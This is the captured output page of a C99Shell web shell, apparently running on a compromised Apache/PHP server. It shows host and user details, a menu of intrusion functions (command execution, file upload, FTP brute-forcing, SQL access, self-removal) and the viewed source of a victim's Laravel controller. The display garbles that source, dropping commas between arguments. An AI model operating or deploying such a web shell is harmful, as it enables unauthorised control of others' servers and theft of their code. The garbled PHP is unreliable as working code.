!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picotext.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.95 GB of 117.98 GB (24.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FrontController.php (3.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Customer;
use 
App\Models\Domain;
use 
App\Models\FAQ;
use 
App\Models\Page;
use 
App\Models\Plan;
use 
App\Models\Subscribe;
use 
App\Models\Template;
use 
GuzzleHttp\Client;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\File;

class 
FrontController extends Controller
{
    public function 
home(Request $request){
        if(
get_settings('landing_page_status')=='disable'){
            return 
redirect()->route('login');
        }
        
$data['local_setting'] = json_decode(get_settings('local_setting'));
        
$data['faqs'] = FAQ::where('status''active')->get();
        
$host=$request->getHost();
        
$domain=Domain::where('host'$host)->first();
        if (
$domain && $domain->status !='approved'){
            echo 
"<div style='text-align: center; font-weight: 800; color: red; padding: 15rem'><h4>Your domain is not approved, contact with administrator</h4></div>";
            return;
        }

        if (
$domain) {
            
$customer Customer::find($domain->customer_id);
            
$data['plans'] = Plan::where('admin_id',$customer->id)->where('status''active')->where('added_by'$customer->type)->get();
        }else {
            
$data['plans'] = Plan::where('id''!='1)->where('status''active')->where('added_by''admin')->where('plan_type''normal')->get();
        }
        return  
view('front.index',$data);
    }

    public function 
aboutUs(){

        return 
view('front.about_us');
    }

    public function 
services(){
        return 
view('front.service');
    }
    public function 
pricing(Request $request){
        
$host=$request->getHost();
        
$domain=Domain::where('host'$host)->where('status''approved')->first();

        if (
$domain) {
            
$customer Customer::find($domain->customer_id);
            
$data['plans'] = Plan::where('admin_id',$customer->id)->where('status''active')->where('added_by'$customer->type)->get();
        }else {
            
$data['plans'] = Plan::where('id''!='1)->where('status''active')->where('added_by''admin')->where('plan_type''normal')->get();
        }
        return 
view('front.pricing',$data);
    }
    public function 
contact(){

        return 
view('front.contact_us');
    }
    public function 
page($page){

        
$data['page'] = Page::where('url',$page)->where('status','published')->firstOrFail();
        return  
view('front.page',$data);
    }
    public function 
demo_login(){

        return 
view('front.login_demo');
    }
    public function 
verifyCode(Request $request){
       
$code=$request->purchase_code;
       if(!
$code){
           
abort(404);
       }
        
$client = new Client();
        
$res $client->request('GET''http://verify.picotech.app/verify.php?purchase_code='.$code);
        
$responsejson_decode($res->getBody());

        if(isset(
$response->id) && $response->id){
            
$data=[
                
'code'=>$code,
                
'id'=>$response->id,
                
'checked_at'=>now()
            ];
            
File::put(storage_path().'/framework/build',base64_encode(json_encode($data)));
            if(
$request->verify){
                return 
back();
            }
            return 
back()->with('success','Purchase code verified successfully');

        }else{
            
File::delete(storage_path().'/framework/build');
            return 
back()->withErrors(['msg'=>'Invalid purchase code']);
        }

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--